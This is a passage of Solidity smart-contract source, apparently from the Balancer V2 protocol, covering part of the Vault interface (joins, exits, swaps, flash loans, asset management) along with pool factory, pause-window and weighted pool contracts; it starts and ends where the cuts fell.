`registerTokens`. * * Total balances include both tokens held by the Vault and those withdrawn by the Pool's Asset Managers. These are * the amounts used by joins, exits and swaps. For a detailed breakdown of token balances, use `getPoolTokenInfo` * instead. */ function getPoolTokens(bytes32 poolId) external view returns ( IERC20[] memory tokens, uint256[] memory balances, uint256 lastChangeBlock ); /** * @dev Called by users to join a Pool, which transfers tokens from `sender` into the Pool's balance. This will * trigger custom Pool behavior, which will typically grant something in return to `recipient` - often tokenized * Pool shares. * * If the caller is not `sender`, it must be an authorized relayer for them. * * The `assets` and `maxAmountsIn` arrays must have the same length, and each entry indicates the maximum amount * to send for each asset. The amounts to send are decided by the Pool and not the Vault: it just enforces * these maximums. * * If joining a Pool that holds WETH, it is possible to send ETH directly: the Vault will do the wrapping. To enable * this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead of the * WETH address. Note that it is not possible to combine ETH and WETH in the same join. Any excess ETH will be sent * back to the caller (not the sender, which is important for relayers). * * `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when * interacting with Pools that register and deregister tokens frequently. If sending ETH however, the array must be * sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the final * `assets` array might not be sorted. Pools with no registered tokens cannot be joined. * * If `fromInternalBalance` is true, the caller's Internal Balance will be preferred: ERC20 transfers will only * be made for the difference between the requested amount and Internal Balance (if any). Note that ETH cannot be * withdrawn from Internal Balance: attempting to do so will trigger a revert. * * This causes the Vault to call the `IBasePool.onJoinPool` hook on the Pool's contract, where Pools implement * their own custom logic. This typically requires additional information from the user (such as the expected number * of Pool shares). This can be encoded in the `userData` argument, which is ignored by the Vault and passed * directly to the Pool's contract, as is `recipient`. * * Emits a `PoolBalanceChanged` event. */ function joinPool( bytes32 poolId, address sender, address recipient, JoinPoolRequest memory request ) external payable; struct JoinPoolRequest { IAsset[] assets; uint256[] maxAmountsIn; bytes userData; bool fromInternalBalance; } /** * @dev Called by users to exit a Pool, which transfers tokens from the Pool's balance to `recipient`. This will * trigger custom Pool behavior, which will typically ask for something in return from `sender` - often tokenized * Pool shares. The amount of tokens that can be withdrawn is limited by the Pool's `cash` balance (see * `getPoolTokenInfo`). * * If the caller is not `sender`, it must be an authorized relayer for them. * * The `tokens` and `minAmountsOut` arrays must have the same length, and each entry in these indicates the minimum * token amount to receive for each token contract. The amounts to send are decided by the Pool and not the Vault: * it just enforces these minimums. * * If exiting a Pool that holds WETH, it is possible to receive ETH directly: the Vault will do the unwrapping. To * enable this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead * of the WETH address. Note that it is not possible to combine ETH and WETH in the same exit. * * `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when * interacting with Pools that register and deregister tokens frequently. If receiving ETH however, the array must * be sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the * final `assets` array might not be sorted. Pools with no registered tokens cannot be exited. * * If `toInternalBalance` is true, the tokens will be deposited to `recipient`'s Internal Balance. Otherwise, * an ERC20 transfer will be performed. Note that ETH cannot be deposited to Internal Balance: attempting to * do so will trigger a revert. * * `minAmountsOut` is the minimum amount of tokens the user expects to get out of the Pool, for each token in the * `tokens` array. This array must match the Pool's registered tokens. * * This causes the Vault to call the `IBasePool.onExitPool` hook on the Pool's contract, where Pools implement * their own custom logic. This typically requires additional information from the user (such as the expected number * of Pool shares to return). This can be encoded in the `userData` argument, which is ignored by the Vault and * passed directly to the Pool's contract. * * Emits a `PoolBalanceChanged` event. */ function exitPool( bytes32 poolId, address sender, address payable recipient, ExitPoolRequest memory request ) external; struct ExitPoolRequest { IAsset[] assets; uint256[] minAmountsOut; bytes userData; bool toInternalBalance; } /** * @dev Emitted when a user joins or exits a Pool by calling `joinPool` or `exitPool`, respectively. */ event PoolBalanceChanged( bytes32 indexed poolId, address indexed liquidityProvider, IERC20[] tokens, int256[] deltas, uint256[] protocolFeeAmounts ); enum PoolBalanceChangeKind { JOIN, EXIT } // Swaps // // Users can swap tokens with Pools by calling the `swap` and `batchSwap` functions. To do this, // they need not trust Pool contracts in any way: all security checks are made by the Vault. They must however be // aware of the Pools' pricing algorithms in order to estimate the prices Pools will quote. // // The `swap` function executes a single swap, while `batchSwap` can perform multiple swaps in sequence. // In each individual swap, tokens of one kind are sent from the sender to the Pool (this is the 'token in'), // and tokens of another kind are sent from the Pool to the recipient in exchange (this is the 'token out'). // More complex swaps, such as one token in to multiple tokens out can be achieved by batching together // individual swaps. // // There are two swap kinds: // - 'given in' swaps, where the amount of tokens in (sent to the Pool) is known, and the Pool determines (via the // `onSwap` hook) the amount of tokens out (to send to the recipient). // - 'given out' swaps, where the amount of tokens out (received from the Pool) is known, and the Pool determines // (via the `onSwap` hook) the amount of tokens in (to receive from the sender). // // Additionally, it is possible to chain swaps using a placeholder input amount, which the Vault replaces with // the calculated output of the previous swap. If the previous swap was 'given in', this will be the calculated // tokenOut amount. If the previous swap was 'given out', it will use the calculated tokenIn amount. These extended // swaps are known as 'multihop' swaps, since they 'hop' through a number of intermediate tokens before arriving at // the final intended token. // // In all cases, tokens are only transferred in and out of the Vault (or withdrawn from and deposited into Internal // Balance) after all individual swaps have been completed, and the net token balance change computed. This makes // certain swap patterns, such as multihops, or swaps that interact with the same token pair in multiple Pools, cost // much less gas than they would otherwise. // // It also means that under certain conditions it is possible to perform arbitrage by swapping with multiple // Pools in a way that results in net token movement out of the Vault (profit), with no tokens being sent in (only // updating the Pool's internal accounting). // // To protect users from front-running or the market changing rapidly, they supply a list of 'limits' for each token // involved in the swap, where either the maximum number of tokens to send (by passing a positive value) or the // minimum amount of tokens to receive (by passing a negative value) is specified. // // Additionally, a 'deadline' timestamp can also be provided, forcing the swap to fail if it occurs after // this point in time (e.g. if the transaction failed to be included in a block promptly). // // If interacting with Pools that hold WETH, it is possible to both send and receive ETH directly: the Vault will do // the wrapping and unwrapping. To enable this mechanism, the IAsset sentinel value (the zero address) must be // passed in the `assets` array instead of the WETH address. Note that it is possible to combine ETH and WETH in the // same swap. Any excess ETH will be sent back to the caller (not the sender, which is relevant for relayers). // // Finally, Internal Balance can be used when either sending or receiving tokens. enum SwapKind { GIVEN_IN, GIVEN_OUT } /** * @dev Performs a swap with a single Pool. * * If the swap is 'given in' (the number of tokens to send to the Pool is known), it returns the amount of tokens * taken from the Pool, which must be greater than or equal to `limit`. * * If the swap is 'given out' (the number of tokens to take from the Pool is known), it returns the amount of tokens * sent to the Pool, which must be less than or equal to `limit`. * * Internal Balance usage and the recipient are determined by the `funds` struct. * * Emits a `Swap` event. */ function swap( SingleSwap memory singleSwap, FundManagement memory funds, uint256 limit, uint256 deadline ) external payable returns (uint256); /** * @dev Data for a single swap executed by `swap`. `amount` is either `amountIn` or `amountOut` depending on * the `kind` value. * * `assetIn` and `assetOut` are either token addresses, or the IAsset sentinel value for ETH (the zero address). * Note that Pools never interact with ETH directly: it will be wrapped to or unwrapped from WETH by the Vault. * * The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be * used to extend swap behavior. */ struct SingleSwap { bytes32 poolId; SwapKind kind; IAsset assetIn; IAsset assetOut; uint256 amount; bytes userData; } /** * @dev Performs a series of swaps with one or multiple Pools. In each individual swap, the caller determines either * the amount of tokens sent to or received from the Pool, depending on the `kind` value. * * Returns an array with the net Vault asset balance deltas. Positive amounts represent tokens (or ETH) sent to the * Vault, and negative amounts represent tokens (or ETH) sent by the Vault. Each delta corresponds to the asset at * the same index in the `assets` array. * * Swaps are executed sequentially, in the order specified by the `swaps` array. Each array element describes a * Pool, the token to be sent to this Pool, the token to receive from it, and an amount that is either `amountIn` or * `amountOut` depending on the swap kind. * * Multihop swaps can be executed by passing an `amount` value of zero for a swap. This will cause the amount in/out * of the previous swap to be used as the amount in for the current one. In a 'given in' swap, 'tokenIn' must equal * the previous swap's `tokenOut`. For a 'given out' swap, `tokenOut` must equal the previous swap's `tokenIn`. * * The `assets` array contains the addresses of all assets involved in the swaps. These are either token addresses, * or the IAsset sentinel value for ETH (the zero address). Each entry in the `swaps` array specifies tokens in and * out by referencing an index in `assets`. Note that Pools never interact with ETH directly: it will be wrapped to * or unwrapped from WETH by the Vault. * * Internal Balance usage, sender, and recipient are determined by the `funds` struct. The `limits` array specifies * the minimum or maximum amount of each token the vault is allowed to transfer. * * `batchSwap` can be used to make a single swap, like `swap` does, but doing so requires more gas than the * equivalent `swap` call. * * Emits `Swap` events. */ function batchSwap( SwapKind kind, BatchSwapStep[] memory swaps, IAsset[] memory assets, FundManagement memory funds, int256[] memory limits, uint256 deadline ) external payable returns (int256[] memory); /** * @dev Data for each individual swap executed by `batchSwap`. The asset in and out fields are indexes into the * `assets` array passed to that function, and ETH assets are converted to WETH. * * If `amount` is zero, the multihop mechanism is used to determine the actual amount based on the amount in/out * from the previous swap, depending on the swap kind. * * The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be * used to extend swap behavior. */ struct BatchSwapStep { bytes32 poolId; uint256 assetInIndex; uint256 assetOutIndex; uint256 amount; bytes userData; } /** * @dev Emitted for each individual swap performed by `swap` or `batchSwap`. */ event Swap( bytes32 indexed poolId, IERC20 indexed tokenIn, IERC20 indexed tokenOut, uint256 amountIn, uint256 amountOut ); /** * @dev All tokens in a swap are either sent from the `sender` account to the Vault, or from the Vault to the * `recipient` account. * * If the caller is not `sender`, it must be an authorized relayer for them. * * If `fromInternalBalance` is true, the `sender`'s Internal Balance will be preferred, performing an ERC20 * transfer for the difference between the requested amount and the User's Internal Balance (if any). The `sender` * must have allowed the Vault to use their tokens via `IERC20.approve()`. This matches the behavior of * `joinPool`. * * If `toInternalBalance` is true, tokens will be deposited to `recipient`'s internal balance instead of * transferred. This matches the behavior of `exitPool`. * * Note that ETH cannot be deposited to or withdrawn from Internal Balance: attempting to do so will trigger a * revert. */ struct FundManagement { address sender; bool fromInternalBalance; address payable recipient; bool toInternalBalance; } /** * @dev Simulates a call to `batchSwap`, returning an array of Vault asset deltas. Calls to `swap` cannot be * simulated directly, but an equivalent `batchSwap` call can and will yield the exact same result. * * Each element in the array corresponds to the asset at the same index, and indicates the number of tokens (or ETH) * the Vault would take from the sender (if positive) or send to the recipient (if negative). The arguments it * receives are the same that an equivalent `batchSwap` call would receive. * * Unlike `batchSwap`, this function performs no checks on the sender or recipient field in the `funds` struct. * This makes it suitable to be called by off-chain applications via eth_call without needing to hold tokens, * approve them for the Vault, or even know a user's address. * * Note that this function is not 'view' (due to implementation details): the client code must explicitly execute * eth_call instead of eth_sendTransaction. */ function queryBatchSwap( SwapKind kind, BatchSwapStep[] memory swaps, IAsset[] memory assets, FundManagement memory funds ) external returns (int256[] memory assetDeltas); // Flash Loans /** * @dev Performs a 'flash loan', sending tokens to `recipient`, executing the `receiveFlashLoan` hook on it, * and then reverting unless the tokens plus a proportional protocol fee have been returned. * * The `tokens` and `amounts` arrays must have the same length, and each entry in these indicates the loan amount * for each token contract. `tokens` must be sorted in ascending order. * * The 'userData' field is ignored by the Vault, and forwarded as-is to `recipient` as part of the * `receiveFlashLoan` call. * * Emits `FlashLoan` events. */ function flashLoan( IFlashLoanRecipient recipient, IERC20[] memory tokens, uint256[] memory amounts, bytes memory userData ) external; /** * @dev Emitted for each individual flash loan performed by `flashLoan`. */ event FlashLoan(IFlashLoanRecipient indexed recipient, IERC20 indexed token, uint256 amount, uint256 feeAmount); // Asset Management // // Each token registered for a Pool can be assigned an Asset Manager, which is able to freely withdraw the Pool's // tokens from the Vault, deposit them, or assign arbitrary values to its `managed` balance (see // `getPoolTokenInfo`). This makes them extremely powerful and dangerous. Even if an Asset Manager only directly // controls one of the tokens in a Pool, a malicious manager could set that token's balance to manipulate the // prices of the other tokens, and then drain the Pool with swaps. The risk of using Asset Managers is therefore // not constrained to the tokens they are managing, but extends to the entire Pool's holdings. // // However, a properly designed Asset Manager smart contract can be safely used for the Pool's benefit, // for example by lending unused tokens out for interest, or using them to participate in voting protocols. // // This concept is unrelated to the IAsset interface. /** * @dev Performs a set of Pool balance operations, which may be either withdrawals, deposits or updates. * * Pool Balance management features batching, which means a single contract call can be used to perform multiple * operations of different kinds, with different Pools and tokens, at once. * * For each operation, the caller must be registered as the Asset Manager for `token` in `poolId`. */ function managePoolBalance(PoolBalanceOp[] memory ops) external; struct PoolBalanceOp { PoolBalanceOpKind kind; bytes32 poolId; IERC20 token; uint256 amount; } /** * Withdrawals decrease the Pool's cash, but increase its managed balance, leaving the total balance unchanged. * * Deposits increase the Pool's cash, but decrease its managed balance, leaving the total balance unchanged. * * Updates don't affect the Pool's cash balance, but because the managed balance changes, it does alter the total. * The external amount can be either increased or decreased by this call (i.e., reporting a gain or a loss). */ enum PoolBalanceOpKind { WITHDRAW, DEPOSIT, UPDATE } /** * @dev Emitted when a Pool's token Asset Manager alters its balance via `managePoolBalance`. */ event PoolBalanceManaged( bytes32 indexed poolId, address indexed assetManager, IERC20 indexed token, int256 cashDelta, int256 managedDelta ); // Protocol Fees // // Some operations cause the Vault to collect tokens in the form of protocol fees, which can then be withdrawn by // permissioned accounts. // // There are two kinds of protocol fees: // // - flash loan fees: charged on all flash loans, as a percentage of the amounts lent. // // - swap fees: a percentage of the fees charged by Pools when performing swaps. For a number of reasons, including // swap gas costs and interface simplicity, protocol swap fees are not charged on each individual swap. Rather, // Pools are expected to keep track of how much they have charged in swap fees, and pay any outstanding debts to the // Vault when they are joined or exited. This prevents users from joining a Pool with unpaid debt, as well as // exiting a Pool in debt without first paying their share. /** * @dev Returns the current protocol fee module. */ function getProtocolFeesCollector() external view returns (ProtocolFeesCollector); /** * @dev Safety mechanism to pause most Vault operations in the event of an emergency - typically detection of an * error in some part of the system. * * The Vault can only be paused during an initial time period, after which pausing is forever disabled. * * While the contract is paused, the following features are disabled: * - depositing and transferring internal balance * - transferring external balance (using the Vault's allowance) * - swaps * - joining Pools * - Asset Manager interactions * * Internal Balance can still be withdrawn, and Pools exited. */ function setPaused(bool paused) external; /** * @dev Returns the Vault's WETH instance. */ function WETH() external view returns (IWETH); // solhint-disable-previous-line func-name-mixedcase } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "../../vault/interfaces/IVault.sol"; import "../../vault/interfaces/IBasePool.sol"; /** * @dev Base contract for Pool factories. * * Pools are deployed from factories to allow third parties to reason about them. Unknown Pools may have arbitrary * logic: being able to assert that a Pool's behavior follows certain rules (those imposed by the contracts created by * the factory) is very powerful. */ abstract contract BasePoolFactory { IVault private immutable _vault; mapping(address => bool) private _isPoolFromFactory; event PoolCreated(address indexed pool); constructor(IVault vault) { _vault = vault; } /** * @dev Returns the Vault's address. */ function getVault() public view returns (IVault) { return _vault; } /** * @dev Returns true if `pool` was created by this factory. */ function isPoolFromFactory(address pool) external view returns (bool) { return _isPoolFromFactory[pool]; } /** * @dev Registers a new created pool. * * Emits a `PoolCreated` event. */ function _register(address pool) internal { _isPoolFromFactory[pool] = true; emit PoolCreated(pool); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; /** * @dev Utility to create Pool factories for Pools that use the `TemporarilyPausable` contract. * * By calling `TemporarilyPausable`'s constructor with the result of `getPauseConfiguration`, all Pools created by this * factory will share the same Pause Window end time, after which both old and new Pools will not be pausable. */ contract FactoryWidePauseWindow { // This contract relies on timestamps in a similar way as `TemporarilyPausable` does - the same caveats apply. // solhint-disable not-rely-on-time uint256 private constant _INITIAL_PAUSE_WINDOW_DURATION = 90 days; uint256 private constant _BUFFER_PERIOD_DURATION = 30 days; // Time when the pause window for all created Pools expires, and the pause window duration of new Pools becomes // zero. uint256 private immutable _poolsPauseWindowEndTime; constructor() { _poolsPauseWindowEndTime = block.timestamp + _INITIAL_PAUSE_WINDOW_DURATION; } /** * @dev Returns the current `TemporarilyPausable` configuration that will be applied to Pools created by this * factory. * * `pauseWindowDuration` will decrease over time until it reaches zero, at which point both it and * `bufferPeriodDuration` will be zero forever, meaning deployed Pools will not be pausable. */ function getPauseConfiguration() public view returns (uint256 pauseWindowDuration, uint256 bufferPeriodDuration) { uint256 currentTime = block.timestamp; if (currentTime < _poolsPauseWindowEndTime) { // The buffer period is always the same since its duration is related to how much time is needed to respond // to a potential emergency. The Pause Window duration however decreases as the end time approaches. pauseWindowDuration = _poolsPauseWindowEndTime - currentTime; // No need for checked arithmetic. bufferPeriodDuration = _BUFFER_PERIOD_DURATION; } else { // After the end time, newly created Pools have no Pause Window, nor Buffer Period (since they are not // pausable in the first place). pauseWindowDuration = 0; bufferPeriodDuration = 0; } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "../../lib/math/FixedPoint.sol"; import "../../lib/helpers/InputHelpers.sol"; import "../BaseMinimalSwapInfoPool.sol"; import "./WeightedMath.sol"; import "./WeightedPoolUserDataHelpers.sol"; // This contract relies on tons of immutable state variables to perform efficient lookup, without resorting to storage // reads. Because immutable arrays are not supported, we instead declare a fixed set of state variables plus total // count, resulting in a large number of state variables. contract WeightedPool is BaseMinimalSwapInfoPool, WeightedMath { using FixedPoint for uint256; using WeightedPoolUserDataHelpers for bytes; // The protocol fees will always be charged using the token associated with the max weight in the pool. // Since these Pools will register tokens only once, we can assume this index will be constant. uint256 private immutable _maxWeightTokenIndex; uint256 private immutable _normalizedWeight0; uint256 private immutable _normalizedWeight1; uint256 private immutable _normalizedWeight2; uint256 private immutable _normalizedWeight3; uint256 private immutable _normalizedWeight4; uint256 private immutable _normalizedWeight5; uint256 private immutable _normalizedWeight6; uint256 private immutable _normalizedWeight7; uint256 private _lastInvariant; enum JoinKind { INIT, EXACT_TOKENS_IN_FOR_BPT_OUT, TOKEN_IN_FOR_EXACT_BPT_OUT } enum ExitKind { EXACT_BPT_IN_FOR_ONE_TOKEN_OUT, EXACT_BPT_IN_FOR_TOKENS_OUT, BPT_IN_FOR_EXACT_TOKENS_OUT } constructor( IVault vault, string memory name, string memory symbol, IERC20[] memory tokens, uint256[] memory normalizedWeights, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) BaseMinimalSwapInfoPool( vault, name, symbol, tokens, swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner ) { uint256 numTokens = tokens.length; InputHelpers.ensureInputLengthMatch(numTokens, normalizedWeights.length); // Ensure each normalized weight is above them minimum and find the token index of the maximum weight uint256 normalizedSum = 0; uint256 maxWeightTokenIndex = 0; uint256 maxNormalizedWeight = 0; for (uint8 i = 0; i < numTokens; i++) { uint256 normalizedWeight = normalizedWeights[i]; _require(normalizedWeight >= _MIN_WEIGHT, Errors.MIN_WEIGHT); normalizedSum = normalizedSum.add(normalizedWeight); if (normalizedWeight > maxNormalizedWeight) { maxWeightTokenIndex = i; maxNormalizedWeight = normalizedWeight; } } // Ensure that the normalized weights sum to ONE _require(normalizedSum == FixedPoint.ONE, Errors.NORMALIZED_WEIGHT_INVARIANT); _maxWeightTokenIndex = maxWeightTokenIndex; _normalizedWeight0 = normalizedWeights.length > 0 ? normalizedWeights[0] : 0; _normalizedWeight1 = normalizedWeights.length > 1 ? normalizedWeights[1] : 0; _normalizedWeight2 = normalizedWeights.length > 2 ? normalizedWeights[2] : 0; _normalizedWeight3 = normalizedWeights.length > 3 ? normalizedWeights[3] : 0; _normalizedWeight4 = normalizedWeights.length > 4 ? normalizedWeights[4] : 0; _normalizedWeight5 = normalizedWeights.length > 5 ? normalizedWeights[5] : 0; _normalizedWeight6 = normalizedWeights.length > 6 ? normalizedWeights[6] : 0; _normalizedWeight7 = normalizedWeights.length > 7 ? normalizedWeights[7] : 0; } function _normalizedWeight(IERC20 token) internal view virtual returns (uint256) { // prettier-ignore if (token == _token0) { return _normalizedWeight0; } else if (token == _token1) { return _normalizedWeight1; } else if (token == _token2) { return _normalizedWeight2; } else if (token == _token3) { return _normalizedWeight3; } else if (token == _token4) { return _normalizedWeight4; } else if (token == _token5) { return _normalizedWeight5; } else if (token == _token6) { return _normalizedWeight6; } else if (token == _token7) { return _normalizedWeight7; } else { _revert(Errors.INVALID_TOKEN); } } function _normalizedWeights() internal view virtual returns (uint256[] memory) { uint256 totalTokens = _getTotalTokens(); uint256[] memory normalizedWeights = new uint256[](totalTokens); // prettier-ignore { if (totalTokens > 0) { normalizedWeights[0] = _normalizedWeight0; } else { return normalizedWeights; } if (totalTokens > 1) { normalizedWeights[1] = _normalizedWeight1; } else { return normalizedWeights; } if (totalTokens > 2) { normalizedWeights[2] = _normalizedWeight2; } else { return normalizedWeights; } if (totalTokens > 3) { normalizedWeights[3] = _normalizedWeight3; } else { return normalizedWeights; } if (totalTokens > 4) { normalizedWeights[4] = _normalizedWeight4; } else { return normalizedWeights; } if (totalTokens > 5) { normalizedWeights[5] = _normalizedWeight5; } else { return normalizedWeights; } if (totalTokens > 6) { normalizedWeights[6] = _normalizedWeight6; } else { return normalizedWeights; } if (totalTokens > 7) { normalizedWeights[7] = _normalizedWeight7; } else { return normalizedWeights; } } return normalizedWeights; } function getLastInvariant() external view returns (uint256) { return _lastInvariant; } /** * @dev Returns the current value of the invariant. */ function getInvariant() public view returns (uint256) { (, uint256[] memory balances, ) = getVault().getPoolTokens(getPoolId()); // Since the Pool hooks always work with upscaled balances, we manually // upscale here for consistency _upscaleArray(balances, _scalingFactors()); uint256[] memory normalizedWeights = _normalizedWeights(); return WeightedMath._calculateInvariant(normalizedWeights, balances); } function getNormalizedWeights() external view returns (uint256[] memory) { return _normalizedWeights(); } // Base Pool handlers // Swap function _onSwapGivenIn( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut ) internal view virtual override whenNotPaused returns (uint256) { // Swaps are disabled while the contract is paused. return WeightedMath._calcOutGivenIn( currentBalanceTokenIn, _normalizedWeight(swapRequest.tokenIn), currentBalanceTokenOut, _normalizedWeight(swapRequest.tokenOut), swapRequest.amount ); } function _onSwapGivenOut( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut ) internal view virtual override whenNotPaused returns (uint256) { // Swaps are disabled while the contract is paused. return WeightedMath._calcInGivenOut( currentBalanceTokenIn, _normalizedWeight(swapRequest.tokenIn), currentBalanceTokenOut, _normalizedWeight(swapRequest.tokenOut), swapRequest.amount ); } // Initialize function _onInitializePool( bytes32, address, address, bytes memory userData ) internal virtual override whenNotPaused returns (uint256, uint256[] memory) { // It would be strange for the Pool to be paused before it is initialized, but for consistency we prevent // initialization in this case. WeightedPool.JoinKind kind = userData.joinKind(); _require(kind == WeightedPool.JoinKind.INIT, Errors.UNINITIALIZED); uint256[] memory amountsIn = userData.initialAmountsIn(); InputHelpers.ensureInputLengthMatch(_getTotalTokens(), amountsIn.length); _upscaleArray(amountsIn, _scalingFactors()); uint256[] memory normalizedWeights = _normalizedWeights(); uint256 invariantAfterJoin = WeightedMath._calculateInvariant(normalizedWeights, amountsIn); // Set the initial BPT to the value of the invariant times the number of tokens. This makes BPT supply more // consistent in Pools with similar compositions but different number of tokens. uint256 bptAmountOut = Math.mul(invariantAfterJoin, _getTotalTokens()); _lastInvariant = invariantAfterJoin; return (bptAmountOut, amountsIn); } // Join function _onJoinPool( bytes32, address, address, uint256[] memory balances, uint256, uint256 protocolSwapFeePercentage, bytes memory userData ) internal virtual override whenNotPaused returns ( uint256, uint256[] memory, uint256[] memory ) { // All joins are disabled while the contract is paused. uint256[] memory normalizedWeights = _normalizedWeights(); // Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous join // or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids spending gas // computing them on each individual swap uint256 invariantBeforeJoin = WeightedMath._calculateInvariant(normalizedWeights, balances); uint256[] memory dueProtocolFeeAmounts = _getDueProtocolFeeAmounts( balances, normalizedWeights, _lastInvariant, invariantBeforeJoin, protocolSwapFeePercentage ); // Update current balances by subtracting the protocol fee amounts _mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub); (uint256 bptAmountOut, uint256[] memory amountsIn) = _doJoin(balances, normalizedWeights, userData); // Update the invariant with the balances the Pool will have after the join, in order to compute the // protocol swap fee amounts due in future joins and exits. _lastInvariant = _invariantAfterJoin(balances, amountsIn, normalizedWeights); return (bptAmountOut, amountsIn, dueProtocolFeeAmounts); } function _doJoin( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { JoinKind kind = userData.joinKind(); if (kind == JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT) { return _joinExactTokensInForBPTOut(balances, normalizedWeights, userData); } else if (kind == JoinKind.TOKEN_IN_FOR_EXACT_BPT_OUT) { return _joinTokenInForExactBPTOut(balances, normalizedWeights, userData); } else { _revert(Errors.UNHANDLED_JOIN_KIND); } } function _joinExactTokensInForBPTOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { (uint256[] memory amountsIn, uint256 minBPTAmountOut) = userData.exactTokensInForBptOut(); InputHelpers.ensureInputLengthMatch(_getTotalTokens(), amountsIn.length); _upscaleArray(amountsIn, _scalingFactors()); uint256 bptAmountOut = WeightedMath._calcBptOutGivenExactTokensIn( balances, normalizedWeights, amountsIn, totalSupply(), _swapFeePercentage ); _require(bptAmountOut >= minBPTAmountOut, Errors.BPT_OUT_MIN_AMOUNT); return (bptAmountOut, amountsIn); } function _joinTokenInForExactBPTOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { (uint256 bptAmountOut, uint256 tokenIndex) = userData.tokenInForExactBptOut(); // Note that there is no maximum amountIn parameter: this is handled by `IVault.joinPool`. _require(tokenIndex < _getTotalTokens(), Errors.OUT_OF_BOUNDS); uint256[] memory amountsIn = new uint256[](_getTotalTokens()); amountsIn[tokenIndex] = WeightedMath._calcTokenInGivenExactBptOut( balances[tokenIndex], normalizedWeights[tokenIndex], bptAmountOut, totalSupply(), _swapFeePercentage ); return (bptAmountOut, amountsIn); } // Exit function _onExitPool( bytes32, address, address, uint256[] memory balances, uint256, uint256 protocolSwapFeePercentage, bytes memory userData ) internal virtual override returns ( uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts ) { // Exits are not completely disabled while the contract is paused: proportional exits (exact BPT in for tokens // out) remain functional. uint256[] memory normalizedWeights = _normalizedWeights(); if (_isNotPaused()) { // Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous // join or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids // spending gas calculating the fees on each individual swap. uint256 invariantBeforeExit = WeightedMath._calculateInvariant(normalizedWeights, balances); dueProtocolFeeAmounts = _getDueProtocolFeeAmounts( balances, normalizedWeights, _lastInvariant, invariantBeforeExit, protocolSwapFeePercentage ); // Update current balances by subtracting the protocol fee amounts _mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub); } else { // If the contract is paused, swap protocol fee amounts are not charged to avoid extra calculations and // reduce the potential for errors. dueProtocolFeeAmounts = new uint256[](_getTotalTokens()); } (bptAmountIn, amountsOut) = _doExit(balances, normalizedWeights, userData); // Update the invariant with the balances the Pool will have after the exit, in order to compute the // protocol swap fees due in future joins and exits. _lastInvariant = _invariantAfterExit(balances, amountsOut, normalizedWeights); return (bptAmountIn, amountsOut, dueProtocolFeeAmounts); } function _doExit( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { ExitKind kind = userData.exitKind(); if (kind == ExitKind.EXACT_BPT_IN_FOR_ONE_TOKEN_OUT) { return _exitExactBPTInForTokenOut(balances, normalizedWeights, userData); } else if (kind == ExitKind.EXACT_BPT_IN_FOR_TOKENS_OUT) { return _exitExactBPTInForTokensOut(balances, userData); } else { // ExitKind.BPT_IN_FOR_EXACT_TOKENS_OUT return _exitBPTInForExactTokensOut(balances, normalizedWeights, userData); } } function _exitExactBPTInForTokenOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view whenNotPaused returns (uint256, uint256[] memory) { // This exit function is disabled if the contract is paused. (uint256 bptAmountIn, uint256 tokenIndex) = userData.exactBptInForTokenOut(); // Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`. _require(tokenIndex < _getTotalTokens(), Errors.OUT_OF_BOUNDS); // We exit in a single token, so we initialize amountsOut with zeros uint256[] memory amountsOut = new uint256[](_getTotalTokens()); // And then assign the result to the selected token amountsOut[tokenIndex] = 